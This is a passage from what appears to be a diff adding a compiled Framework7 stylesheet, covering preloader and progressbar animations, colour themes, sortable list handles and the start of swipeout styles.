rotate(5deg); + transform: rotate(5deg); + } +} +@keyframes md-preloader-right-rotate { + 0%, + 100% { + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 50% { + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } +} +@-webkit-keyframes md-preloader-inner-rotate { + 12.5% { + -webkit-transform: rotate(135deg); + transform: rotate(135deg); + } + 25% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); + } + 37.5% { + -webkit-transform: rotate(405deg); + transform: rotate(405deg); + } + 50% { + -webkit-transform: rotate(540deg); + transform: rotate(540deg); + } + 62.5% { + -webkit-transform: rotate(675deg); + transform: rotate(675deg); + } + 75% { + -webkit-transform: rotate(810deg); + transform: rotate(810deg); + } + 87.5% { + -webkit-transform: rotate(945deg); + transform: rotate(945deg); + } + 100% { + -webkit-transform: rotate(1080deg); + transform: rotate(1080deg); + } +} +@keyframes md-preloader-inner-rotate { + 12.5% { + -webkit-transform: rotate(135deg); + transform: rotate(135deg); + } + 25% { + -webkit-transform: rotate(270deg); + transform: rotate(270deg); + } + 37.5% { + -webkit-transform: rotate(405deg); + transform: rotate(405deg); + } + 50% { + -webkit-transform: rotate(540deg); + transform: rotate(540deg); + } + 62.5% { + -webkit-transform: rotate(675deg); + transform: rotate(675deg); + } + 75% { + -webkit-transform: rotate(810deg); + transform: rotate(810deg); + } + 87.5% { + -webkit-transform: rotate(945deg); + transform: rotate(945deg); + } + 100% { + -webkit-transform: rotate(1080deg); + transform: rotate(1080deg); + } +} +@-webkit-keyframes md-preloader-left-rotate-multicolor { + 0%, + 100% { + border-left-color: #4285F4; + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 75% { + border-left-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-left-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + 25% { + border-left-color: #DE3E35; + border-top-color: #DE3E35; + } +} +@keyframes md-preloader-left-rotate-multicolor { + 0%, + 100% { + border-left-color: #4285F4; + -webkit-transform: rotate(130deg); + transform: rotate(130deg); + } + 75% { + border-left-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-left-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(-5deg); + transform: rotate(-5deg); + } + 25% { + border-left-color: #DE3E35; + border-top-color: #DE3E35; + } +} +@-webkit-keyframes md-preloader-right-rotate-multicolor { + 0%, + 100% { + border-right-color: #4285F4; + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 75% { + border-right-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-right-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + 25% { + border-top-color: #DE3E35; + border-right-color: #DE3E35; + } +} +@keyframes md-preloader-right-rotate-multicolor { + 0%, + 100% { + border-right-color: #4285F4; + -webkit-transform: rotate(-130deg); + transform: rotate(-130deg); + } + 75% { + border-right-color: #1B9A59; + border-top-color: #1B9A59; + } + 50% { + border-right-color: #F7C223; + border-top-color: #F7C223; + -webkit-transform: rotate(5deg); + transform: rotate(5deg); + } + 25% { + border-top-color: #DE3E35; + border-right-color: #DE3E35; + } +} +/* === Progressbar === */ +.progressbar, +.progressbar-infinite { + width: 100%; + overflow: hidden; + position: relative; + display: block; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +body > .progressbar, +.view > .progressbar, +.views > .progressbar, +.page > .progressbar, +.panel > .progressbar, +.popup > .progressbar, +.framework7-root > .progressbar, +body > .progressbar-infinite, +.view > .progressbar-infinite, +.views > .progressbar-infinite, +.page > .progressbar-infinite, +.panel > .progressbar-infinite, +.popup > .progressbar-infinite, +.framework7-root > .progressbar-infinite { + position: absolute; + left: 0; + top: 0; + z-index: 15000; + border-radius: 0 !important; + -webkit-transform-origin: center top !important; + transform-origin: center top !important; +} +.with-statusbar.device-ios body > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-ios .framework7-root > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-ios body > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-ios .framework7-root > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 20px; +} +.with-statusbar.device-android body > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-android .framework7-root > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-android body > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-android .framework7-root > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 24px; +} +.with-statusbar.device-iphone-x body > .progressbar, +.with-statusbar.device-iphone-x .framework7-root > .progressbar, +.with-statusbar.device-iphone-x body > .progressbar-infinite, +.with-statusbar.device-iphone-x .framework7-root > .progressbar-infinite { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.progressbar { + vertical-align: middle; +} +.progressbar span { + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.progressbar-infinite:before, +.progressbar-infinite:after { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform-origin: left center; + transform-origin: left center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + display: block; +} +.progressbar-infinite.color-multi { + background: none !important; +} +.progressbar-in { + -webkit-animation: progressbar-in 150ms forwards; + animation: progressbar-in 150ms forwards; +} +.progressbar-out { + -webkit-animation: progressbar-out 150ms forwards; + animation: progressbar-out 150ms forwards; +} +@-webkit-keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@-webkit-keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +@keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +.ios .progressbar, +.ios .progressbar-infinite { + height: 2px; + background: #b6b6b6; + -webkit-transform-origin: center top; + transform-origin: center top; + border-radius: 2px; +} +.ios .progressbar span { + background: #007aff; +} +.ios .progressbar-infinite:before { + content: ''; + background: #007aff; + -webkit-animation: ios-progressbar-infinite 1s linear infinite; + animation: ios-progressbar-infinite 1s linear infinite; +} +.ios .progressbar-infinite.color-multi:before { + width: 400%; + background-image: -webkit-gradient(linear, left top, right top, from(#4cd964), color-stop(#5ac8fa), color-stop(#007aff), color-stop(#34aadc), color-stop(#5856d6), color-stop(#ff2d55), color-stop(#5856d6), color-stop(#34aadc), color-stop(#007aff), color-stop(#5ac8fa), to(#4cd964)); + background-image: -webkit-linear-gradient(left, #4cd964, #5ac8fa, #007aff, #34aadc, #5856d6, #ff2d55, #5856d6, #34aadc, #007aff, #5ac8fa, #4cd964); + background-image: linear-gradient(to right, #4cd964, #5ac8fa, #007aff, #34aadc, #5856d6, #ff2d55, #5856d6, #34aadc, #007aff, #5ac8fa, #4cd964); + background-size: 25% 100%; + background-repeat: repeat-x; + -webkit-animation: ios-progressbar-infinite-multicolor 3s linear infinite; + animation: ios-progressbar-infinite-multicolor 3s linear infinite; +} +.ios .color-theme-red .progressbar span { + background: #ff3b30; +} +.ios .color-theme-red .progressbar-infinite:before { + background: #ff3b30; +} +.ios .color-theme-green .progressbar span { + background: #4cd964; +} +.ios .color-theme-green .progressbar-infinite:before { + background: #4cd964; +} +.ios .color-theme-blue .progressbar span { + background: #007aff; +} +.ios .color-theme-blue .progressbar-infinite:before { + background: #007aff; +} +.ios .color-theme-pink .progressbar span { + background: #ff2d55; +} +.ios .color-theme-pink .progressbar-infinite:before { + background: #ff2d55; +} +.ios .color-theme-yellow .progressbar span { + background: #ffcc00; +} +.ios .color-theme-yellow .progressbar-infinite:before { + background: #ffcc00; +} +.ios .color-theme-orange .progressbar span { + background: #ff9500; +} +.ios .color-theme-orange .progressbar-infinite:before { + background: #ff9500; +} +.ios .color-theme-gray .progressbar span { + background: #8e8e93; +} +.ios .color-theme-gray .progressbar-infinite:before { + background: #8e8e93; +} +.ios .color-theme-white .progressbar span { + background: #ffffff; +} +.ios .color-theme-white .progressbar-infinite:before { + background: #ffffff; +} +.ios .color-theme-black .progressbar span { + background: #000000; +} +.ios .color-theme-black .progressbar-infinite:before { + background: #000000; +} +.ios .progressbar.color-red span { + background: #ff3b30; +} +.ios .progressbar-infinite.color-red:before { + background: #ff3b30; +} +.ios .progressbar.color-green span { + background: #4cd964; +} +.ios .progressbar-infinite.color-green:before { + background: #4cd964; +} +.ios .progressbar.color-blue span { + background: #007aff; +} +.ios .progressbar-infinite.color-blue:before { + background: #007aff; +} +.ios .progressbar.color-pink span { + background: #ff2d55; +} +.ios .progressbar-infinite.color-pink:before { + background: #ff2d55; +} +.ios .progressbar.color-yellow span { + background: #ffcc00; +} +.ios .progressbar-infinite.color-yellow:before { + background: #ffcc00; +} +.ios .progressbar.color-orange span { + background: #ff9500; +} +.ios .progressbar-infinite.color-orange:before { + background: #ff9500; +} +.ios .progressbar.color-gray span { + background: #8e8e93; +} +.ios .progressbar-infinite.color-gray:before { + background: #8e8e93; +} +.ios .progressbar.color-white span { + background: #ffffff; +} +.ios .progressbar-infinite.color-white:before { + background: #ffffff; +} +.ios .progressbar.color-black span { + background: #000000; +} +.ios .progressbar-infinite.color-black:before { + background: #000000; +} +@-webkit-keyframes ios-progressbar-infinite { + 0% { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + 100% { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@keyframes ios-progressbar-infinite { + 0% { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + 100% { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@-webkit-keyframes ios-progressbar-infinite-multicolor { + 0% { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } + 100% { + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); + } +} +@keyframes ios-progressbar-infinite-multicolor { + 0% { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } + 100% { + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); + } +} +.md .progressbar, +.md .progressbar-infinite { + height: 4px; + background: rgba(33, 150, 243, 0.5); + -webkit-transform-origin: center bottom; + transform-origin: center bottom; +} +.md .progressbar span { + background: #2196f3; +} +.md .progressbar-infinite { + z-index: 15000; +} +.md .progressbar-infinite:before, +.md .progressbar-infinite:after { + content: ''; + background: #2196f3; +} +.md .progressbar-infinite:before { + -webkit-animation: md-progressbar-infinite-1 2s linear infinite; + animation: md-progressbar-infinite-1 2s linear infinite; +} +.md .progressbar-infinite:after { + -webkit-animation: md-progressbar-infinite-2 2s linear infinite; + animation: md-progressbar-infinite-2 2s linear infinite; +} +.md .progressbar-infinite.color-multi:before { + background: none; + -webkit-animation: md-progressbar-infinite-multicolor-bg 3s step-end infinite; + animation: md-progressbar-infinite-multicolor-bg 3s step-end infinite; +} +.md .progressbar-infinite.color-multi:after { + background: none; + -webkit-animation: md-progressbar-infinite-multicolor-fill 3s linear infinite; + animation: md-progressbar-infinite-multicolor-fill 3s linear infinite; + -webkit-transform-origin: center center; + transform-origin: center center; +} +.md .color-theme-red .progressbar, +.md .color-theme-red .progressbar-infinite { + background: rgba(244, 67, 54, 0.5); +} +.md .color-theme-red .progressbar span { + background: #f44336; +} +.md .color-theme-red .progressbar-infinite:before, +.md .color-theme-red .progressbar-infinite:after { + background: #f44336; +} +.md .color-theme-green .progressbar, +.md .color-theme-green .progressbar-infinite { + background: rgba(76, 175, 80, 0.5); +} +.md .color-theme-green .progressbar span { + background: #4caf50; +} +.md .color-theme-green .progressbar-infinite:before, +.md .color-theme-green .progressbar-infinite:after { + background: #4caf50; +} +.md .color-theme-blue .progressbar, +.md .color-theme-blue .progressbar-infinite { + background: rgba(33, 150, 243, 0.5); +} +.md .color-theme-blue .progressbar span { + background: #2196f3; +} +.md .color-theme-blue .progressbar-infinite:before, +.md .color-theme-blue .progressbar-infinite:after { + background: #2196f3; +} +.md .color-theme-pink .progressbar, +.md .color-theme-pink .progressbar-infinite { + background: rgba(233, 30, 99, 0.5); +} +.md .color-theme-pink .progressbar span { + background: #e91e63; +} +.md .color-theme-pink .progressbar-infinite:before, +.md .color-theme-pink .progressbar-infinite:after { + background: #e91e63; +} +.md .color-theme-yellow .progressbar, +.md .color-theme-yellow .progressbar-infinite { + background: rgba(255, 235, 59, 0.5); +} +.md .color-theme-yellow .progressbar span { + background: #ffeb3b; +} +.md .color-theme-yellow .progressbar-infinite:before, +.md .color-theme-yellow .progressbar-infinite:after { + background: #ffeb3b; +} +.md .color-theme-orange .progressbar, +.md .color-theme-orange .progressbar-infinite { + background: rgba(255, 152, 0, 0.5); +} +.md .color-theme-orange .progressbar span { + background: #ff9800; +} +.md .color-theme-orange .progressbar-infinite:before, +.md .color-theme-orange .progressbar-infinite:after { + background: #ff9800; +} +.md .color-theme-gray .progressbar, +.md .color-theme-gray .progressbar-infinite { + background: rgba(158, 158, 158, 0.5); +} +.md .color-theme-gray .progressbar span { + background: #9e9e9e; +} +.md .color-theme-gray .progressbar-infinite:before, +.md .color-theme-gray .progressbar-infinite:after { + background: #9e9e9e; +} +.md .color-theme-white .progressbar, +.md .color-theme-white .progressbar-infinite { + background: rgba(255, 255, 255, 0.5); +} +.md .color-theme-white .progressbar span { + background: #ffffff; +} +.md .color-theme-white .progressbar-infinite:before, +.md .color-theme-white .progressbar-infinite:after { + background: #ffffff; +} +.md .color-theme-black .progressbar, +.md .color-theme-black .progressbar-infinite { + background: rgba(0, 0, 0, 0.5); +} +.md .color-theme-black .progressbar span { + background: #000000; +} +.md .color-theme-black .progressbar-infinite:before, +.md .color-theme-black .progressbar-infinite:after { + background: #000000; +} +.md .progressbar.color-red, +.md .progressbar-infinite.color-red { + background: rgba(244, 67, 54, 0.5); +} +.md .progressbar.color-red span { + background: #f44336; +} +.md .progressbar-infinite.color-red:before, +.md .progressbar-infinite.color-red:after { + background: #f44336; +} +.md .progressbar.color-green, +.md .progressbar-infinite.color-green { + background: rgba(76, 175, 80, 0.5); +} +.md .progressbar.color-green span { + background: #4caf50; +} +.md .progressbar-infinite.color-green:before, +.md .progressbar-infinite.color-green:after { + background: #4caf50; +} +.md .progressbar.color-blue, +.md .progressbar-infinite.color-blue { + background: rgba(33, 150, 243, 0.5); +} +.md .progressbar.color-blue span { + background: #2196f3; +} +.md .progressbar-infinite.color-blue:before, +.md .progressbar-infinite.color-blue:after { + background: #2196f3; +} +.md .progressbar.color-pink, +.md .progressbar-infinite.color-pink { + background: rgba(233, 30, 99, 0.5); +} +.md .progressbar.color-pink span { + background: #e91e63; +} +.md .progressbar-infinite.color-pink:before, +.md .progressbar-infinite.color-pink:after { + background: #e91e63; +} +.md .progressbar.color-yellow, +.md .progressbar-infinite.color-yellow { + background: rgba(255, 235, 59, 0.5); +} +.md .progressbar.color-yellow span { + background: #ffeb3b; +} +.md .progressbar-infinite.color-yellow:before, +.md .progressbar-infinite.color-yellow:after { + background: #ffeb3b; +} +.md .progressbar.color-orange, +.md .progressbar-infinite.color-orange { + background: rgba(255, 152, 0, 0.5); +} +.md .progressbar.color-orange span { + background: #ff9800; +} +.md .progressbar-infinite.color-orange:before, +.md .progressbar-infinite.color-orange:after { + background: #ff9800; +} +.md .progressbar.color-gray, +.md .progressbar-infinite.color-gray { + background: rgba(158, 158, 158, 0.5); +} +.md .progressbar.color-gray span { + background: #9e9e9e; +} +.md .progressbar-infinite.color-gray:before, +.md .progressbar-infinite.color-gray:after { + background: #9e9e9e; +} +.md .progressbar.color-white, +.md .progressbar-infinite.color-white { + background: rgba(255, 255, 255, 0.5); +} +.md .progressbar.color-white span { + background: #ffffff; +} +.md .progressbar-infinite.color-white:before, +.md .progressbar-infinite.color-white:after { + background: #ffffff; +} +.md .progressbar.color-black, +.md .progressbar-infinite.color-black { + background: rgba(0, 0, 0, 0.5); +} +.md .progressbar.color-black span { + background: #000000; +} +.md .progressbar-infinite.color-black:before, +.md .progressbar-infinite.color-black:after { + background: #000000; +} +@-webkit-keyframes md-progressbar-infinite-1 { + 0% { + -webkit-transform: translateX(-10%) scaleX(0.1); + transform: translateX(-10%) scaleX(0.1); + } + 25% { + -webkit-transform: translateX(30%) scaleX(0.6); + transform: translateX(30%) scaleX(0.6); + } + 50% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } +} +@keyframes md-progressbar-infinite-1 { + 0% { + -webkit-transform: translateX(-10%) scaleX(0.1); + transform: translateX(-10%) scaleX(0.1); + } + 25% { + -webkit-transform: translateX(30%) scaleX(0.6); + transform: translateX(30%) scaleX(0.6); + } + 50% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(1); + transform: translateX(100%) scaleX(1); + } +} +@-webkit-keyframes md-progressbar-infinite-2 { + 0% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 40% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 75% { + -webkit-transform: translateX(60%) scaleX(0.35); + transform: translateX(60%) scaleX(0.35); + } + 90% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } +} +@keyframes md-progressbar-infinite-2 { + 0% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 40% { + -webkit-transform: translateX(-100%) scaleX(1); + transform: translateX(-100%) scaleX(1); + } + 75% { + -webkit-transform: translateX(60%) scaleX(0.35); + transform: translateX(60%) scaleX(0.35); + } + 90% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } + 100% { + -webkit-transform: translateX(100%) scaleX(0.1); + transform: translateX(100%) scaleX(0.1); + } +} +@-webkit-keyframes md-progressbar-infinite-multicolor-bg { + 0% { + background-color: #4caf50; + } + 25% { + background-color: #f44336; + } + 50% { + background-color: #2196f3; + } + 75% { + background-color: #ffeb3b; + } +} +@keyframes md-progressbar-infinite-multicolor-bg { + 0% { + background-color: #4caf50; + } + 25% { + background-color: #f44336; + } + 50% { + background-color: #2196f3; + } + 75% { + background-color: #ffeb3b; + } +} +@-webkit-keyframes md-progressbar-infinite-multicolor-fill { + 0% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #f44336; + } + 24.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #f44336; + } + 25% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #2196f3; + } + 49.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #2196f3; + } + 50% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #ffeb3b; + } + 74.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #ffeb3b; + } + 75% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #4caf50; + } + 100% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #4caf50; + } +} +@keyframes md-progressbar-infinite-multicolor-fill { + 0% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #f44336; + } + 24.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #f44336; + } + 25% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #2196f3; + } + 49.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #2196f3; + } + 50% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #ffeb3b; + } + 74.9% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #ffeb3b; + } + 75% { + -webkit-transform: scaleX(0); + transform: scaleX(0); + background-color: #4caf50; + } + 100% { + -webkit-transform: scaleX(1); + transform: scaleX(1); + background-color: #4caf50; + } +} +/* === Sortable === */ +.sortable .sortable-handler { + position: absolute; + top: 0; + bottom: 1px; + z-index: 10; + background-repeat: no-repeat; + background-size: 18px 12px; + opacity: 0; + pointer-events: none; + cursor: move; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + left: 0; + background-position: 0% 50%; +} +.sortable .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable li.sorting { + z-index: 50; + background: rgba(255, 255, 255, 0.8); + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sortable li.sorting .item-inner:after { + display: none !important; +} +.sortable-sorting li { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable-enabled .sortable-handler { + pointer-events: auto; + opacity: 1; + background-position: 50% 50%; +} +.sortable-enabled .item-link .item-inner, +.sortable-enabled .item-link .item-title-row { + background-image: none !important; +} +.theme-dark .sortable li.sorting, +.sortable.theme-dark li.sorting { + background-color: rgba(50, 50, 50, 0.8); +} +.ios .sortable-handler { + width: 35px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%2012'%20fill%3D'%23c7c7cc'%3E%3Cpath%20d%3D'M0%2C2V0h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C7V5h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C12v-2h22v2H0z'%2F%3E%3C%2Fsvg%3E"); +} +.ios .sortable li.sorting { + -webkit-box-shadow: 0px 2px 8px rgba(0, 0, 0, 0.6); + box-shadow: 0px 2px 8px rgba(0, 0, 0, 0.6); +} +.ios .sortable-enabled .item-inner, +.ios .sortable-enabled .item-link .item-inner { + padding-left: 35px; +} +.ios .list.sortable-enabled .item-link.no-chevron .item-inner, +.ios .list.sortable-enabled.no-chevron .item-link .item-inner, +.ios .list.sortable-enabled .no-chevron .item-link .item-inner, +.ios .no-chevron .list.sortable-enabled .item-link .item-inner { + padding-left: 35px; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .sortable-handler, + .ios.device-iphone-x .ios-edges .sortable-handler, + .ios.device-iphone-x .popup .sortable-handler, + .ios.device-iphone-x .sheet-modal .sortable-handler, + .ios.device-iphone-x .panel-left .sortable-handler { + left: constant(safe-area-inset-left); + left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-left: calc(35px + constant(safe-area-inset-right)); + padding-left: calc(35px + env(safe-area-inset-right)); + } +} +.md .sortable-handler { + width: 50px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%208'%3E%3Crect%20x%3D'0'%20y%3D'0'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3Crect%20x%3D'0'%20y%3D'6'%20width%3D'18'%20height%3D'2'%20fill%3D'%23c7c7cc'%3E%3C%2Frect%3E%3C%2Fsvg%3E"); +} +.md .sortable li.sorting { + -webkit-box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); + box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); +} +.md .sortable-enabled .item-inner, +.md .sortable-enabled .item-link .item-inner { + padding-left: 50px; +} +.md .list.sortable-enabled .item-link.no-chevron .item-inner, +.md .list.sortable-enabled.no-chevron .item-link .item-inner, +.md .list.sortable-enabled .no-chevron .item-link .item-inner, +.md .no-chevron .list.sortable-enabled .item-link .item-inner { + padding-left: 50px; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .sortable-handler, + .md.device-iphone-x .ios-edges .sortable-handler, + .md.device-iphone-x .popup .sortable-handler, + .md.device-iphone-x .sheet-modal .sortable-handler, + .md.device-iphone-x .panel-left .sortable-handler { + left: constant(safe-area-inset-left); + left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .md.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .md.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-left: calc(42px + constant(safe-area-inset-right)); + padding-left: calc(42px + env(safe-area-inset-right)); + } +} +/* === Swipeout === */ +.swipeout { + overflow: hidden; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swipeout-deleting { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.swipeout-deleting .swipeout-content { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-transitioning .swipeout-content, +.swipeout-transitioning .swipeout-actions-right a, +.swipeout-transitioning .swipeout-actions-left a, +.swipeout-transitioning .swipeout-overswipe { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: left, -webkit-transform; + transition-property: left, -webkit-transform; + transition-property: transform, left; + transition-property: transform, left, -webkit-transform; +} +.swipeout-content { + position: relative; + z-index: 10; +} +.swipeout-overswipe { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: left; + transition-property: left; +} +.swipeout-actions-left, +.swipeout-actions-right { + position: absolute; + top: 0; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + direction: ltr; +} +.swipeout-actions-left > a, +.swipeout-actions-right > a, +.swipeout-actions-left > button, +.swipeout-actions-right > button, +.swipeout-actions-left > span, +.swipeout-actions-right > span, +.swipeout-actions-left > div, +.swipeout-actions-right > div { + color: #fff; + background: #c7c7cc; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + position: relative; + left: 0; +} +.swipeout-actions-left > a:after, +.swipeout-actions-right > a:after, +.swipeout-actions-left > button:after, 